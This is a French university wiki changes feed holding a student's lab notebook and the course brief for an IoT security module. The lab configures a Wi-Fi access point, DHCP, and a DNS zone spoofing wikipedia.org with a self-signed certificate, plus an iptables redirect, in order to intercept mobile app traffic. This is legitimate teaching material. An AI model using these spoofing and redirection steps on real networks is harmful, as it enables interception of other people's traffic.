//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat '''auto-signé pour Apache''', ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour activer&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10722</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10722"/>
		<updated>2025-11-03T15:06:00Z</updated>

		<summary type="html">&lt;p&gt;Handrian : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0   &lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;  Networking&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration ====&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up &lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026&amp;diff=10721</id>
		<title>SE5 IdO sécurité des objets 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026&amp;diff=10721"/>
		<updated>2025-11-03T14:35:15Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Répartition des binômes pour le module de sécurité des objets */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Infrastructure réseau pour 2025/2026 =&lt;br /&gt;
&lt;br /&gt;
== Serveur virtuel ==&lt;br /&gt;
&lt;br /&gt;
Créez un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; par binôme. Préfixez le nom du serveur par &amp;lt;code&amp;gt;SE5-&amp;lt;/code&amp;gt;. Le serveur doit avoir une unique interface dans le commutateur virtuel &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Prenez une adresse IPv4 à partir de &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et utilisez, comme routeur, l'adresse IPv4 &amp;lt;code&amp;gt;172.26.145.251&amp;lt;/code&amp;gt;. Le routeur à cette adresse est configuré pour faire passer vos machines par un dispositif de type mascarade.&lt;br /&gt;
&lt;br /&gt;
Par la suite ajoutez à votre serveur une interface dans le VLAN &amp;lt;code&amp;gt;400+X&amp;lt;/code&amp;gt; numérotée dans le sous-réseau IPv4 &amp;lt;code&amp;gt;172.16.X.0/24&amp;lt;/code&amp;gt;. Bien entendu &amp;lt;code&amp;gt;X&amp;lt;/code&amp;gt; est différent d'un binôme à l'autre (et &amp;lt;code&amp;gt;X&amp;lt;/code&amp;gt;&amp;gt;1).&lt;br /&gt;
&lt;br /&gt;
== Point d'accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
Installez un ou plusieurs point d'accès WiFi Cisco sur un port de commutateur en mode trunk. Tentez d'associer une adresse d'administration à ce point d'accès dans le VLAN 50 (adresse d'administration en &amp;lt;code&amp;gt;172.26.145.Y&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&lt;br /&gt;
Créez un SSID associé à votre VLAN et configuré pour une identification par WPA2-PSK.&lt;br /&gt;
&lt;br /&gt;
De plus implantez les services suivant sur votre serveur virtuel :&lt;br /&gt;
* configuration par DHCP pour les clients WiFi, utilisez les adresses d'octet de poids faible &amp;lt;code&amp;gt;100&amp;lt;/code&amp;gt; à &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; du réseau IPv4 de votre VLAN privé. Donner l'adresse de votre machine mandataire comme routeur par défaut et comme serveur DNS ;&lt;br /&gt;
* Implanter un serveur DNS minimal sur votre serveur virtuel (DNS transitaire ou DNS forwarder en patoi) ;&lt;br /&gt;
* Implanter une mascarade sur votre serveur virtuel entre votre VLAN privé et le routeur du réseau des salles de projets.&lt;br /&gt;
&lt;br /&gt;
Vous pouvez tester la visibilité de votre SSID, l'identification WiFi, le serveur DHCP et enfin l'accès à Internet en utilisant votre téléphone portable ou la carte WiFi des zabeth.&lt;br /&gt;
&lt;br /&gt;
= Interception de flux =&lt;br /&gt;
&lt;br /&gt;
L'étude d'applications mobiles peut passer par la redirection de flux TCP pour de la rétro-ingénierie. Deux voies sont possibles, une redirection par DNS ou une redirection de flux TCP vers un port local.&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
&lt;br /&gt;
Ajoutez une zone primaire à votre serveur DNS avec le nom Internet que vous souhaitez rediriger vers votre machine locale.&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&lt;br /&gt;
Ajoutez des règles &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;nftables&amp;lt;/code&amp;gt; pour rediriger un flux TCP vers un port local.&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
En régle générale, c'est un flux HTTPS que vous souhaitez rediriger, vous avez donc besoin d'un serveur Web local en mode sécurisé (HTTPS).&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
La redirection de flux HTTPS est problématique à cause de la protection par certificat X509. Pour contourner cette protection, une solution consiste à ajouter des autorités de certification sur l'appareil où l'application mobile est installée. Pour ce faire il est probable qu'il faille un contrôle important sur l'OS de l'appareil. Comme vous pouvez rechigner à rooter votre mobile, une machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; semble adaptée. &lt;br /&gt;
&lt;br /&gt;
Il vous est proposé de tester de créer une machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; soit par émulation d'un ARM en utilisant &amp;lt;code&amp;gt;QEMU&amp;lt;/code&amp;gt; sur un PC ordinaire soit en utilisant &amp;lt;code&amp;gt;KVM&amp;lt;/code&amp;gt; sur une Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
= Répartition des binômes pour le module de sécurité des objets =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! Nom du serveur virtuel !! N° du VLAN&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b1 | Cahier b1]] || Victorien Détrez || SE5-serveur || n°410&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b2 | Cahier b2]] || Kaoutar El Bachiri || SE5-kelbachi || n°409&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b3 | Cahier b3]] || Heriniaina Raissa Andrianirintsoa || SE5-serveur || n°411&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b4 | Cahier b4]] || Abdel Zongo || SE5-serveur || n°404&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b5 | Cahier b5]] || Chaymae Rhanim || SE5-serveur || n°408&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10453</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10453"/>
		<updated>2025-09-29T11:38:25Z</updated>

		<summary type="html">&lt;p&gt;Handrian : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0   &lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;  Networking&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration ====&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up &lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10437</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=10437"/>
		<updated>2025-09-17T16:53:58Z</updated>

		<summary type="html">&lt;p&gt;Handrian : Page créée avec « === Création de la machine virtuelle === xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M  === Configuration VM === &amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; This file describes the network interfaces available on your system  &amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; and how to activate them. For more information, see interfaces(5).  &amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The loopback network interface  auto lo  iface lo inet loopback  &amp;lt;now... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt; The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0   &lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;  Networking&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
